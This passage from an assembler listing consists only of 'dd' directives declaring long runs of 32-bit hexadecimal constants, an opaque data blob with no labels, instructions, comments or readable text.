0FB3FFC41h, 0EDD07FFDh, 584230B0h, 8AF5CF78h dd 3339AF13h, 40016853h, 73B59943h, 0C05734F0h, 0E8913E18h dd 50C0BFA6h, 8BE11107h, 29F107C7h, 0F06119C0h, 0BF9C8E7h dd 0E0ED9F30h, 4432AFCAh, 4DEEF830h, 0D0721300h, 0EEE053A7h dd 0B7ACA3E6h, 29F24D3h, 0E8CF3928h, 0B8A07BABh, 3B20B50Ah dd 0A488BA00h, 4C309721h, 0ACBCB0CDh, 0E2D102B4h, 541F3B8Dh dd 9FB6D840h, 2614E3Eh, 1CF830FAh, 0F9446080h, 0BF599Eh dd 57F7D71Fh, 55C841DAh, 28212924h, 6A920914h, 8210426Dh dd 0F9AE094h, 0FBF40432h, 0F994B0EAh, 787A0724h, 2081389Dh dd 18CF815Eh, 40A22C60h, 1501C6DEh, 0F98CF5CCh, 143DB977h dd 5BC22600h, 8596B009h, 0E8DCC9C0h, 0B0AFC02Ah, 2EB57240h dd 10F46638h, 54094ABEh, 6F449082h, 4CACB806h, 0EB131C42h dd 633444BBh, 4E3E033Dh, 0FE3AC006h, 6BEB26A2h, 40B4A87Ch dd 88FDC271h, 25CEF10h, 2D37AF55h, 26C0E0CAh, 0B8B239AEh dd 0CCC78089h, 8C085CD6h, 18F5F4Dh, 3662A8B7h, 4CDDCC6Eh dd 0F7CFC000h, 0AF86E310h, 286B602Bh, 4756F521h, 0BB42E514h dd 3745828h, 9A979114h, 73478038h, 0C7C10042h, 0B64B9019h dd 0A8A03A34h, 383BE0D1h, 104D002Ch, 704A5BB4h, 0FC510A32h dd 9088C0Fh, 0CBD03689h, 32399889h, 578B18C0h, 75DE88B0h dd 8B2493CEh, 0F854C3F9h, 372D780h, 26AA0867h, 64ACF6D1h dd 682732B2h, 12FFB81Ch, 0F40D8401h, 9613902Ch, 380C8A8Ch dd 90558021h, 97E812ECh, 0E8D44Eh, 0D6D8F9D8h, 784C6C66h dd 0BE8C23Ch, 0E5C70033h, 0B5061B96h, 6AD1E0ABh, 0CD671A60h dd 88803163h, 0F779FD5Bh, 0D025E89Eh, 0B3A927E8h, 13EAB4A0h dd 8C03E26Fh, 0D2391747h, 0FF110012h, 1C201080h, 50005215h dd 0F6CD57AFh, 0A2D4D9A2h, 12871ACh, 5FAF90F4h, 5C3357h dd 61273052h, 1E1D0FCh, 69C26482h, 0B670E8h, 0F0670599h dd 0D18660AAh, 0A76D58F4h, 0C6A5C2Ch, 966B08h, 0AB3849Ah dd 90762901h, 9E5F8A0Bh, 0E0141809h, 3C049D5Bh, 6794D06Dh dd 0A4B139A7h, 130AFCA5h, 0FC250Eh, 1C9181A4h, 0C524F96Eh dd 0A82F830h, 43683653h, 0F8414C26h, 0A0FBE009h, 63005054h dd 6D380E36h, 67520ABEh, 60B8927Ah, 8285B03Ah, 3135AF71h dd 4A3C042h, 622CE902h, 0A4618B22h, 98AC0264h, 488CEC8h dd 476C9281h, 8908C3E3h, 803D1170h, 0D94B123Ah, 799AE0C2h dd 0F9018310h, 48038248h, 4EAFD436h, 74202A0Ah, 0C2F918FCh dd 3C68E828h, 5128D578h, 0E1F90831h, 40418237h, 0D10FC8F2h dd 93D210C8h, 45F20888h, 10202C45h, 2767ECBh, 35744C9Dh dd 187662E0h, 5C9C0A14h, 0ACFBC5E4h, 67EA8C30h, 48BF0142h dd 87710FC7h, 0F1B8C991h, 0B3E061C8h, 0B668811h, 0ABD30329h dd 0C074A482h, 0E0CEA840h, 0F0BE212Ah, 0B1969A01h, 89F92591h dd 6B6827DFh, 930F3803h, 0F85C07C4h, 1635E13h, 868A6C10h dd 22F1345Bh, 0B14734A8h, 486400B1h, 0CF621571h, 0AF838CEFh dd 0D0051B26h, 6A36E08Dh, 8200FCCAh, 7515FC0Fh, 7F1FFE50h dd 4BC0E011h, 0F4B243DAh, 353E0054h, 0CDB8E4F0h, 0A34AD6FEh dd 584E5471h, 0C367310h, 7C57F400h, 0D7B0A864h, 0C5AB349Bh dd 0F91FC030h, 38C0B73Bh, 88FA6070h, 611530E0h, 0DED99C41h dd 10B0F55Dh, 0A701D11Ah, 0B245F97Eh, 9882346h, 0C449755Fh dd 0C2F096D8h, 70641081h, 2D258C0Fh, 9F4BC0E0h, 41037Dh dd 0D5A3FF51h, 0AF953B9Ch, 149AC572h, 1CB7F600h, 0A3904EF7h dd 0CC3A0C8Bh, 0AFC81F4Ah, 0D42962D8h, 34070017h, 509C1096h dd 2517FC67h, 1404E251h, 1F09C2DBh, 5E574402h, 72649460h dd 2CFA6F80h, 6A880E6Ch, 0A6F580A0h, 7C1C89C0h, 80884Eh dd 4ED0E872h, 888824D1h, 0B34C1028h, 79C5C4F0h, 74E87001h dd 0C83257h, 406687A7h, 404E6B8h, 0C98ADECFh, 7C98872Eh dd 6A402999h, 5F7309FDh, 54E8FEDAh, 0C493CF9h, 2F3842C8h dd 0C8008FD9h, 50CA865h, 0C29008DCh, 0E7D8B426h, 10D74D1Eh dd 0CF025B10h, 393B9A6Bh, 0CC8F4F4h, 1C222834h, 2C605888h dd 0F706689h, 0C9B6CDF9h, 3FCEE0ECh, 0FE38A0C0h, 4C082D1Eh dd 6E27E2ADh, 0A48A0C80h, 0A49C5A2Ah, 0E084944Ah, 0B0B21BDDh dd 0A826E878h, 5601208h, 0FE4D95F5h, 0A3DCC17Eh, 8CDD2Ch dd 7C700CD0h, 7BE101DDh, 9075FC71h, 43F9E17Ch, 0F8B05A08h dd 3496AD10h, 9DE08240h, 9CB88363h, 102388Bh, 4BD11512h dd 0A8E07557h, 0F82E8A87h, 9E1FDCE7h, 7004E0F5h, 4CF2A7F5h dd 0D01510h, 0A662B010h, 7D132DFh, 0FC6CBFD8h, 54AFF070h dd 1800E838h, 47C28C06h, 585CE11Bh, 0A131C98h, 47807143h dd 6D9BE904h, 0A0108E6Ch, 0F84D5BB2h, 0E8C60C50h, 2E307058h dd 8C170891h, 11802C44h, 67887630h, 0A8A2C9Eh, 0C369384Bh dd 836BE234h, 5BF07EC0h, 0C4786718h, 0A8D8D2ECh, 0E788C840h dd 3826A234h, 0C0653882h, 0A0F5D1A4h, 7D891258h, 521C9056h dd 2E09388Eh, 582AABE4h, 0C0E113B8h, 0DF1144A0h, 0A9F68A00h dd 6D9584C5h, 0FECE39C0h, 0F70B484Ch, 4C219AF8h, 263F485Fh dd 94902914h, 45FCAD00h, 83948CFh, 0DAD5E7F1h, 3B13C700h dd 277F9F77h, 50402DE0h, 2B76AE10h, 50730270h, 8802C90h dd 6B4CE2D0h, 42E85011h, 9C6C540h, 96A6F3FCh, 0D2699C82h dd 801A9002h, 2DAF55B0h, 76E0C3A4h, 41C1C1CEh, 7A1085AAh dd 0A4917B62h, 0FC306AB3h, 722B0322h, 0CCA5E853h, 2AE1A900h dd 9C934AAFh, 0AA590009h, 558EA873h, 0DE09BD41h, 48834296h dd 0BE114788h, 0DBF90688h, 8B26080h, 98A823F0h, 0FB2EC8CDh dd 0D1E2D0D8h, 0ED891DCh, 0E86BE440h, 885F694Bh, 0DDE030B1h dd 6A47612h, 755CAF5Eh, 98D77820h, 8BB12244h, 51DDE0EFh dd 301D69D6h, 0EA3748B0h, 0EF5A063Bh, 20756CE7h, 0B3FEC516h dd 0F85F5C42h, 81ECA941h, 2138E030h, 131CC404h, 5734C35Ch dd 4AC28818h, 803582B9h, 0C227A02h, 0E117684Ch, 915E00F4h dd 87EB01DFh, 0E138E801h, 350F6CEh, 218DBD7h, 363DFCE1h dd 604076A7h, 0F913CCA3h, 70402D20h, 6CC48502h, 0B700B16h dd 58805E73h, 7CAFA021h, 51EC3800h, 0C78EB847h, 0F4580B15h dd 40865F81h, 0AC58D914h, 4893028Ch, 81508F2Ah, 5E8DB0F8h dd 18C4B8E0h, 0E89165AFh, 0CF78055Bh, 0D8A5532Ah, 715FC902h dd 0C0088152h, 93E8B84Fh, 600125C4h, 801FBCF9h, 6ED237B0h dd 2EA77074h, 0E88285h dd 980580ADh, 64611EAFh, 4AA2DC59h, 0A020A6C1h, 44560126h dd 0FE15133h, 99084585h, 26042C24h, 892F5488h, 468C9974h dd 12CF5CD0h, 21CC38F5h, 78FDC7FCh, 70A389F8h, 0C9D4034h dd 31DC4103h, 0E1B190B8h, 3800822Eh, 0A1A05ACEh, 0FB05C780h dd 84087F34h, 79BE3480h, 0F897007Dh, 1AA70E82h, 0CCFF80A1h dd 0A65AE08Bh, 0F6581800h, 31E7D7D8h, 0F88822E6h, 0E0B808ABh dd 62009601h, 9C509FA8h, 0B22ECD25h, 791C40F8h, 0B870829Ch dd 81D5A027h, 8E86E830h, 0B4F08700h, 0E5890CBBh, 0E0CC1A92h dd 16BDF8Ch, 38F89E72h, 335309FFh, 331088A4h, 9940D349h dd 0F90161B4h, 1C7C1AAAh, 2DC4028h, 0DCE75D21h, 2EE87104h dd 12F0CA1Fh, 888182EAh, 8034B220h, 387EA85h, 0BEF932D5h dd 0B4E4A2FDh, 1F405C0Ch, 80FE006Eh, 10D03899h, 0C002AC68h dd 858F124Bh, 40E4EA13h, 0EC44BD9Ch, 12D5FA7Eh, 0B05748h dd 2D47CABCh, 330F92Ch, 0F65F60FCh, 634B32Ah, 0B02DB1E8h dd 668B2801h, 0AF4DE16Dh, 0FB77D0h, 9EAA1055h, 8F89E8BBh dd 0F052892h, 4829AB0Eh, 651036C1h, 0D0FF1885h, 68448DF4h dd 0D4385494h, 0B8D00462h, 0F49C4BF7h, 14086894h, 624404BBh dd 0E8B81746h, 0C7556C03h, 0F1D12DFCh, 62E8E05Bh, 4AC84395h dd 72000F41h, 44A04489h, 0C1CFDF73h, 0F8050998h, 7901AF56h dd 8788E402h, 0C2E872CAh, 6CE8BA40h, 44BC0050h, 0A44B8B12h dd 4B4C6C5Fh, 82C218Ch, 0A2A8007Fh, 72D300A0h, 44993464h dd 67069D20h, 1A8EE0F8h, 0FC5D7630h, 24C10063h, 0D0014080h dd 0D8D671FFh, 6F61CB0h, 6F614376h, 0F871108Eh, 4E5F4D27h dd 64AF1240h, 2B388939h, 1833062h, 8880FD8h, 8AE012CFh dd 0D67481C9h, 0C4000524h, 7FD5B8D7h, 19CD0038h, 0C7BFFF3Bh dd 852EAFE4h, 0FD001C3Dh, 0D857760Eh, 6DE51647h, 8A600A12h dd 9C808DE8h, 89C4B78h, 2E3207E8h, 583801B0h, 4DB66675h dd 4A9C3458h, 3C1BA240h, 76277EBFh, 0DCCE9441h, 550CCD42h dd 0F0FF2858h, 0CAF912C2h, 126400E4h, 4DBB19F3h, 8781A802h dd 0E629AC5Fh, 0FA401D4Ch, 14E18BD0h, 54004C50h, 989DA8F7h dd 20E03F03h, 6713E883h, 4CC87356h, 0E7DE0F5Fh, 0F96249A7h dd 5C4A1E1Dh, 6E480075h, 0B32595E8h, 42024A0h, 0C0865C04h dd 0AAD461B4h, 6E013700h, 0C658E43Ah, 0FCF0115h, 0C8E0229Ch dd 3078A60Ah, 10005A17h, 0E898A5F6h, 88604BE2h, 94340878h dd 609162F9h, 0E2F4AD1h, 0FACA028Ch, 2AB04CB8h, 4CC3A801h dd 0C2A3E7E3h, 53F0A0F1h, 7F773Eh, 0DFC69202h, 0CBA91D5Ch dd 0FE404460h, 1A7F0D66h, 789CA7E8h, 4B0A14A2h, 843868C4h dd 44918067h, 0C3FE6590h, 80BE4BE0h, 8B74390Ch, 0DD724002h dd 0E07D17FBh, 9858EA36h, 0C0204A10h, 99ABE0D4h, 0B058DC9Ah dd 8E5450ECh, 293403Ah, 47AB63E4h, 0BA076D7h, 34B67256h dd 48FE9C25h, 0BEA2E028h, 0B9D48F58h, 6897A706h, 6210209Dh dd 803532AFh, 950034ABh, 386841DAh, 0B6F94C0h, 711B575Ch dd 0D0655C25h, 6EEEE0C4h, 0C85558CCh, 37AC0098h, 873A6B1Dh dd 0F0E5105Eh, 44007BDFh, 0D4A02CCAh, 6058F8FDh, 0F43F9095h dd 0D0BA5AB0h, 62658709h, 0B3F000DDh, 61C5F934h, 0FAA02850h dd 20487102h, 897519BCh, 0BC3B8600h, 0A7F908F7h, 0E4909746h dd 0F8A4DBD1h, 8CA989FFh, 33ACE83Eh, 683D0083h, 0F5A1C6D1h dd 6C988BF2h, 3BFC7E40h, 2E84FA39h, 0AC6D848Dh, 0D3D0578h dd 1CC8CA52h, 5AC12467h, 5A2E9040h, 5054A877h, 858BD344h dd 0A1949144h, 85B94136h, 2F4C3974h, 0F8A00190h, 0D3E045E5h dd 0E410D254h, 0A7527488h, 0F7C80084h, 5B827FB5h, 1808B26Eh dd 78E4BCE0h, 363D62C0h, 46AA58Ah, 0D4A82878h, 84E9E285h dd 81B0BC9Ch, 4B222E5Bh, 0DE80D438h, 2A0AC182h, 5F65AD01h dd 0F3E1177Dh, 0FD60002Ah, 0E7FADA77h, 3A8F6D25h, 0C9D8FBC0h dd 3D2070CCh, 0A8C950CEh, 0E30C0053h, 51AD11F1h, 434C0EE0h dd 185FC250h, 8B98D903h, 504E5DFEh, 54638505h, 481315C7h dd 0CC497CA3h, 4098E813h, 9DB2E060h, 51047266h, 8EAF55CAh dd 2C1160A0h, 7A486D6h, 0F03A2045h, 8B0FF40h, 0A2F6CB01h dd 0EA90E0BDh, 83F4272Eh, 91005A1Eh, 1BC5CFAEh, 4EEED9E2h dd 2A9C2909h, 0BF5DC040h, 0E0F9592Ah, 4F84BEA9h, 105C6006h dd 0A6F5BCA0h, 0A8B271Ch, 3842E086h, 8585C48h, 215550C5h dd 18020D94h, 7C1E4CE2h, 9DA9C09Fh, 6B633558h, 0B47D2403h dd 0D87B4299h, 8A89C0h, 5510D138h, 0E8477270h, 1160E9F0h dd 0F820111h, 611B3FD5h, 0C93A32FEh, 147E0CD1h, 0F105D826h dd 0BCB210C8h, 0F4A2D121h, 0AA88149Fh, 0D4005F54h, 0A8B6B013h dd 0E08940C1h, 61002581h, 7490A9F6h, 0A47BFA2Ch, 0C9D9833Fh dd 317C0BE8h, 0F570F889h, 3ABF428h, 7350899Fh, 94AF8658h dd 7F006082h, 276DED12h, 1702A87Ch, 1C5ABF36h, 0C2141628h dd 0AC74D19Ch, 0FC506C12h, 875001F8h, 79F72ED2h, 0EECB6868h dd 0D158CCD8h, 0A6F80132h, 0F97990A0h, 282C78D9h, 188E9440h dd 6031B7E0h, 8C179590h, 8056415Fh, 0F4C8D0C5h, 0FC9D5090h dd 0D8B34C17h, 18808713h, 0F3D1481Ch, 5F80289Eh, 0ED8805DAh dd 61564BCEh, 3FC72208h, 69740830h, 0A4D6025Fh, 0B116E867h dd 730B6468h, 1182FE00h, 0E3C78CDFh, 58AB01F2h, 0EEE86921h dd 0CC443F60h, 0FCF78B43h, 7C89953Ch, 600B1507h, 0EA370423h dd 59EB40CFh, 5301FEC6h, 0E050AACFh, 8C65EE16h, 8214252Fh dd 3CE057F4h, 303BA35h, 52D03894h, 6FB2A04Ah, 88434C17h dd 0F0387F2Fh, 8920E864h, 0ED6E0097h, 1DC65A55h, 8402FDD0h dd 46B00980h, 4958D105h, 57EEA010h, 7808389Bh, 4E8046Fh dd 13091B2h, 9412E039h, 0FC7A7C00h, 0B00FF050h, 14A20165h dd 0D03A8713h, 1C313B4Ah, 9EA4BE8h, 0F94770F1h, 0EC78B9h dd 0C661CC38h, 0FA6F63E8h, 1C04424Ah, 0B312B92Ch, 168721F8h dd 30F8A58Eh, 0D36201F8h, 42CEFF68h, 2CD8D27Ch, 9F4EE0Dh dd 0C830F0D0h, 76496BAFh, 55D20460h, 0E4840A57h, 0E89460A8h dd 11C8F008h, 92D03A46h, 12AF18E4h, 648E1868h, 0D1AC0812h dd 186068C8h, 202AC4AFh, 5F00F73Dh, 0DFB82165h, 669124Ch dd 6F957B2h, 6B523045h, 3D9110C4h, 0FF994A01h, 686AE866h dd 0E8012438h, 24D82E46h, 0A45C3C1Ch, 8BA80FECh, 0B0E6B8C4h dd 4CB35498h, 21968826h, 4155C40Dh, 40852D21h, 0ACA5F9F3h dd 0D9C60040h, 0FB7AF8C7h, 40CF0069h, 0FE50FDDEh, 0E49B5309h dd 9CCEAF86h, 820C9D60h, 85051538h, 0DFB90B91h, 869F74C1h dd 0E7EA3800h, 0A35E3C12h, 7CE57000h, 30E02FEDh, 5650735Dh dd 70B64EC9h, 5614AB42h, 88E2C708h, 0A5054690h, 0A8AB617Ah dd 1888D360h, 3ECE26E9h, 7F7AE104h, 0FD184984h, 0F836309Fh dd 253CE35Ch, 12A8C082h, 182304A9h, 0F8EFE874h, 0EA6F00B0h dd 0AC87BC6Eh, 0AF6D38B6h, 0BE58C47Dh, 0AB0819Bh, 0A5D43069h dd 373D4000h, 0C656D53Ah, 2018B8FCh, 0FB1F5914h, 0BCFDE081h dd 213A0051h, 0C7749B29h, 4F2403F9h, 0D8A05B5Dh, 842511C1h dd 3B32E011h, 9009D094h, 0C4800938h, 0FFF2335Ch, 1EE868B8h dd 0A14C8E63h, 80F8D518h, 385AA5D0h, 3D3B0002h, 0F7C5BDD7h dd 960310B8h, 408EB720h, 0C8E894F9h, 622A017Bh, 80FEA8B2h dd 12D8C0D1h, 11731A30h, 10C4AF8h, 8CA85305h, 23541CF9h dd 55A405F0h, 0FB89F5h dd 0BAFC863Eh, 0A160F66Dh, 6F7488B8h, 9997587h, 814CE5F7h dd 0E025B814h, 0B8DC62F6h, 576B4FCh, 0A474C90Dh, 0C0ADC0B7h dd 0DE091BAFh, 0D8CFA2F5h, 25109EB4h, 0F9042CE5h, 1490A17Bh dd 5FF8FFC9h, 679409ABh, 11930CD9h, 4EE8F42Ch, 0F2648084h dd 0E713FD56h, 0E0C89B09h, 2D09253h, 0F543CA36h, 80755788h dd 76DB0194h, 49DFE2AFh, 0F93B9CB8h, 4082A500h, 1341B0EFh dd 731E5492h, 6C026261h, 5E5FB267h, 82246220h, 0A8A0F505h dd 7F360868h, 27089E08h, 20E225BBh, 142E647Bh, 2D676840h dd 6FA80B4Ah, 8C01FAFh, 0E713EFE4h, 0D8282647h, 6D82DE0h dd 6F04A8E4h, 6786FA62h, 0BB8874A9h, 609F4C0Eh, 0E8388971h dd 163A073Dh, 0A01ACFA5h, 9FF98590h, 0E8B859C0h, 0C023C7B0h dd 61F0E310h, 8B9760AFh, 5AE0C454h, 0F8D8C1B8h, 88186990h dd 47940C83h, 86F86F18h, 7E3472F9h, 0BBE15E03h, 0D0534D64h dd 48C638h, 0C79BF422h, 0FFB7B4FBh, 0CE01247Ch, 7B281321h dd 7428E6AFh, 5D648A07h, 3D5370E0h, 485EF958h, 0C95F0480h dd 4A80BC08h, 0B55F505Ch, 0B8C80D4Ah, 1753E466h, 0A49C9Dh dd 5C72CE2Ch, 0E600387Bh, 0D4A6A395h, 75E0EACFh, 6238C0F7h dd 0C217A7F4h, 7921D500h, 0C9D17DFEh, 5B4017AFh, 853800ABh dd 0D977BE02h, 7D27AF98h, 7FD8824Dh, 40949411h, 6140989Bh dd 9F90186Eh, 338E988Bh, 99009475h, 4AE5F903h, 164DE6E3h dd 0F260A02Eh, 0EDAF0A18h, 0D2008CC3h, 0FC740E2h, 85A7009Eh dd 0F45F6874h, 6890959Fh, 89E1D201h, 0ED810C6h, 1C3FD3E8h dd 0C2D1FCDBh, 51412E8Fh, 0D50140F9h, 0B7E7E074h, 4B0AB08Bh dd 0F98CB06Fh, 137C96Eh, 0D0DA0ACEh, 749634E8h, 28B88700h dd 5FDF131Dh, 42F968C8h, 71074503h, 57F2AFD1h, 0CD00223Eh dd 0B1E818C0h, 312EDC40h, 657194F2h, 51FC510Ch, 84312B33h dd 0B9A4D098h, 0E2550CCCh, 0E8172B08h, 3C00F6DCh, 0E9763C8h dd 0C2143E3Ah, 50408625h, 5F0282F7h, 83353CA4h, 0C7F88756h dd 9858C2D0h, 57B013DEh, 7400A34Fh, 0D03DBE3Ch, 0B01313B8h dd 7800D3D6h, 2952C9A8h, 0D8B85844h, 2F6D01Eh, 0B06E47A1h dd 5080F483h, 96D0A9D3h, 0B81C6DD8h, 0C880FED0h, 25C14C17h dd 8DB000A4h, 1A6FC2C5h, 404E5B5h, 0F5588AE4h, 54F92880h dd 125D4699h, 30717187h, 0FC04A259h, 3E287878h, 364B9C0Ah dd 70F07425h, 1DE005Eh, 35484CA7h, 9209A51Dh, 6041E057h dd 178D88E0h, 0A4E9F889h, 0D3401998h, 67021799h, 52FC875Fh dd 0AF024A46h, 0C804DF27h, 3EE4F9EBh, 76F8404Bh, 0D6D109E5h dd 59003BCBh, 0CD968A10h, 519DFA04h, 9CE356CCh, 0B834D04Eh dd 264FCEFFh, 0E35DCC8h, 83AF5CC8h, 1FD63D45h, 346440C0h dd 0BF3058FDh, 0B41F877Ah, 98F01DE8h, 173816A0h, 2DA62E3h dd 136EAF08h, 0B34BC854h, 7004AC8Ch, 3F78E975h, 0D60F8023h dd 92FE6872h, 309F7861h, 35106632h, 0E600D34Ch, 0CB5006B4h dd 75C2D0h, 68621776h, 0B30B2BA2h, 49359A00h, 0C265B6D4h dd 422478CDh, 0B3670071h, 234BBED0h, 0D8EE19B0h, 80565089h dd 0C2A38718h, 3816DB8Dh, 7BFB1B8Ch, 0A26F189Dh, 0D5D22896h dd 0A92D6E00h, 0C0341CE7h, 20CF03B0h, 73BB276h, 2AD870B7h dd 0BE46A08h, 0D0EB5600h, 3D673E9Fh, 977510EEh, 0F2E7052Fh dd 0D0807987h, 9EE1DBh, 950956E5h, 54A7CA5Ah, 25B7B600h dd 4A2C527h, 0C75E0099h, 479AAA10h, 3500E375h, 0A4694A55h dd 0C17B5B9h, 0EFDD6F7Eh, 26004EA8h, 7C6C115Ah, 7C42290Dh dd 4DC100E7h, 0CF06B02Ah, 35433E6h, 91C4C98h, 4D0A6182h dd 2D14100Bh, 1D3C0080h, 87835373h, 0C867019Dh, 0E8760442h dd 922880ADh, 0A424B47Bh, 60217DD9h, 0BC0F98B1h, 0CD20BDDBh dd 0DF8D2015h, 6E3DF71Bh, 2AB0D038h, 16562876h, 60F0E2E0h dd 87B4780Ah, 30DEE38Eh, 55B9506h, 66070A19h, 1B0E0FEh dd 4E652D99h, 81584129h, 1E1022A3h, 18315376h, 2C52F267h dd 0FB0F1091h, 0ECEC63Eh, 61D371F4h, 0BAA07003h, 0DC542094h dd 31C0EE19h, 1011D356h, 0C33CE222h, 0E7C46F08h, 44234E0Ah dd 0BCAE0D04h, 0C2C38D02h, 71D3B4E0h, 7002F0C0h, 0A0928811h dd 48F16944h, 0F682680Ah, 90A4915Fh, 0C1181EC0h, 0A3FD10h dd 7C854A02h, 0D0E2BDE8h, 0F676820Ah, 0A3DA015h, 38A38E27h dd 0EE810F06h, 0E7E7DE0h, 6F7DDB18h, 621B0820h, 37001A61h dd 2D84CD73h, 338B2FBh, 107C06D6h, 0C8017DA9h, 6EFCB585h dd 0A1F08EF6h, 76440C2Ch, 659078ADh, 6B29A1C4h, 200D9201h dd 0C2F880AAh, 70382EA3h, 4F71CF37h, 2061F0Fh, 2301F8DEh dd 7669CC57h, 0D450A773h, 0E815F3h, 55C3A1BBh, 61877BFDh dd 3D712A02h, 4027B7BDh, 0FA151260h, 0D500CB9h, 0E870F543h dd 0B6D85350h, 0A737514h, 23660088h, 72DF9088h, 0D8CE48D2h dd 0E0D1C215h, 0C8B9CF14h, 3FA49E28h, 2F04D315h, 83FDB32Bh dd 6CD5430h, 0C002DAF0h, 0D960905h, 0F8053F47h, 0E0108D87h dd 8F0BC784h, 0CB814CEh, 284EDD0Dh, 2B570BCh, 7667BE7Bh dd 0D08061D0h, 0FE6FC10Dh, 78881B35h, 602F1C22h, 300D9360h dd 86D8C754h, 0CC05718Dh, 0A1477636h, 0D0139440h, 186D98A7h dd 8859FF6Fh, 5F389A10h, 0BBAA019Ch, 0AD6B7487h, 0CE824C4h dd 8DB36FFBh, 353DD828h, 0EFF60FF4h, 0E355C675h, 78320E8h dd 19004C4Ch, 851857BAh, 7EB9A1B0h, 0A47475B5h, 0E49E88CFh dd 4CC26E8Fh, 0FCD0440Bh, 703526A1h, 9EB64D4h, 0BA700355h dd 0B7083C53h, 48350809h, 9B8DD818h, 48799280h, 0FCE9087h dd 9638Bh, 0DA06C82Fh, 3C881069h, 1D027A87h, 0E7F35C94h dd 8B04201h, 584E808h, 0B488F06Ah, 0DCADEC6Fh, 413D1C60h dd 0F57C05D5h, 30A5F969h, 3A024E74h, 1DCDB572h, 101C607Fh dd 0DA89048Ch, 0D17E400Fh, 22D26790h, 0F4691A28h, 84A82260h dd 217868A0h, 0C608A7Ah, 0D0177368h, 5814080Ah, 0CC32434h dd 12EE7D41h, 2C764864h, 144796h, 7502AB3Dh, 11280D81h dd 301A846Bh, 4C40728Eh, 1333263Ch, 122D12E8h, 1F9C0024h dd 9EE5F1AFh, 20F3D501h, 2FFECE04h, 9967B460h, 774784B8h dd 0AEA0C0E3h, 1E0016E8h, 0DA80A0BAh, 0E20CE7BFh, 937905h dd 21B409F9h, 0D5A77D06h, 9D10A2C2h, 927C40F2h, 0C18908Dh dd 7A446F84h, 2B0027C8h, 67E3AE87h, 1D32A88h, 0DD4BB793h dd 0A1894E0Fh, 480AEC80h, 882024C2h, 599430A8h, 2004D4E4h dd 3496FA8h, 0E4075481h, 86B17C42h, 15808964h, 0F0536F78h dd 71A7D200h, 0D00FB554h, 61C7048h, 0C5586F83h, 280B1F20h dd 2E9E810Ch, 90E1BD8Ch, 33268F48h, 641A3F8Ch, 4C098F5h dd 4E806C1Eh, 0C53000F9h, 0A082EB27h, 0AD00811Bh, 1254DBAh dd 12BFBCE2h, 406E6F6Ah, 24E80504h, 0FD79FEC1h, 749E84A1h dd 0D0787158h, 0A87CF174h, 0CB9AF712h, 85C8184Fh, 7CD80456h dd 0CFB9C076h, 545FB5A1h, 3938BB48h, 160A4093h, 88E0370h dd 3937353Ch, 0A76C9209h, 0D4193ECh, 44346C82h, 9B8917Bh dd 0EC82B86Fh, 0F01E55Ch, 9C4040F2h, 44E3623h, 4FB91FAh dd 7F1883EBh, 0F02D2BF9h, 0D0072524h, 3C23E0DDh, 0F0E60C80h dd 0CDCE093Dh, 0BC22546Dh, 0E08A0D35h, 0B516BC7Ch, 20A85994h dd 0DFC5F4A3h, 444E032Eh, 9FB333C0h, 0FF771679h, 493C44F5h dd 25F4007Dh, 0C0F13970h, 0D63D0148h, 0A90023E6h, 68895972h dd 6C9FDEAh, 0D36F6911h dd 571480F9h, 7BF02FF8h, 761A8490h, 4450AB8Eh, 0A2103B18h dd 0DB894848h, 0A71ADC82h, 106D1048h, 4C727A26h, 79869B63h dd 48F64818h, 8CC66F83h, 254C9801h, 8B02EEB0h, 61843828h dd 43B0CDE3h, 6150A0F0h, 5CB9F355h, 65899090h, 0A50B2484h dd 8F488B30h, 18000971h, 5CA289C4h, 0F0C6C37h, 35C8C42Fh dd 3CA6A5Ch, 0EA761C0Bh, 9D503069h, 4E0D9EC1h, 215CBA5Dh dd 0F76703ABh, 0C8A80BF8h, 8F158C2Fh, 48CC0958h, 0D990A24h dd 0C9B48CBBh, 0AC4064D4h, 0B8166FFDh, 0E760A025h, 0F6BF09EEh dd 8C98B6D1h, 996AC9F7h, 761D8411h, 0CA0388D0h, 0E3672E6Dh dd 0DE75BDA0h, 0B7187262h, 1A8626Bh, 6AD76F80h, 27CE608Bh dd 0F07C2C00h, 760A08C2h, 0EC07343Fh, 0EF10234Fh, 98C1487Ah dd 0F25E9801h, 60D7ADA7h, 54817594h, 249444F6h, 18AC6D2Dh dd 0D638007h, 0F7015894h, 91B9C209h, 98A00870h, 97EB0388h dd 0D905785Dh, 3D5EC08Fh, 5C90D080h, 9600FD78h, 0A854C370h dd 0A2FE830Fh, 3C4C2CCh, 16C2D4h, 957D598h, 17342568h dd 0C771D70Eh, 24A9C975h, 7009B800h, 6F4DA040h, 0F7039492h dd 0C8301EB6h, 0FBCAE08Eh, 85680061h, 0F5F13F23h, 0D93DE904h dd 8DE800ABh, 676FB00Fh, 18F0CFE0h, 0D02F1360h, 8712AFA6h dd 0C041E960h, 0FBC21D6Fh, 0B0A49231h, 67B6C2B8h, 180768C9h dd 2F380111h, 46768285h, 72888BF8h, 355838E0h, 8A6C9949h dd 13AC18B6h, 0CBD0049Bh, 254E00DDh, 1EDF2813h, 41239Dh dd 0B2152205h, 9C018678h, 0FFAC972Ah, 0E8E7F94Dh, 3D84B829h dd 6B83D49Eh, 266175BCh, 0DC975828h, 49A8EC49h, 3B409478h dd 40E44C56h, 0E0F4E48h, 400AEA7Dh, 0E8627235h, 0CDE71E64h dd 84A14F5h, 40317513h, 12256794h, 990965C6h, 20DB926Fh dd 5F0D07F4h, 26089AB6h, 2401AAFh, 8DBD1002h, 0E5F85C58h dd 34F7A540h, 299754Bh, 37D17698h, 463E6040h, 0E24E2905h dd 0BC8244CDh, 0A0D450DDh, 832459h, 27E038BEh, 39760916h dd 9F3A3CBAh, 855C137Ch, 0B7047830h, 5D0D7929h, 6A002879h dd 9D0F168h, 98B914h, 0B699209Bh, 1C77332Eh, 98FF6300h dd 0E476652Dh, 0CB70DD61h, 9FE02397h, 5B0902Fh, 4E6A2D95h dd 10FC2426h, 0CE012CD0h, 296F7C25h, 0FE109D88h, 2701582h dd 633F20CFh, 0CE034034h, 104E3823h, 0F44950B5h, 0EAC01E2h dd 5CF84DFCh, 0B504D427h, 6F765009h, 0A0989A8Ah, 39FBB74Ch dd 744600ADh, 613E22E4h, 5600341Ah, 3EF6782h, 96892776h dd 9A24FC0h, 0C464535h, 204B3896h, 6F799A10h, 0EC2151A3h dd 0CC04824h, 32F11001h, 915C7D28h, 9B0D1228h, 7447EC80h dd 0A18301E5h, 0D4A5BFAEh, 6FB2408Dh, 48DD119Ah, 5003BCE6h dd 0F07F1ECFh, 7E83CB77h, 0DCA1DB5h, 0A048F049h, 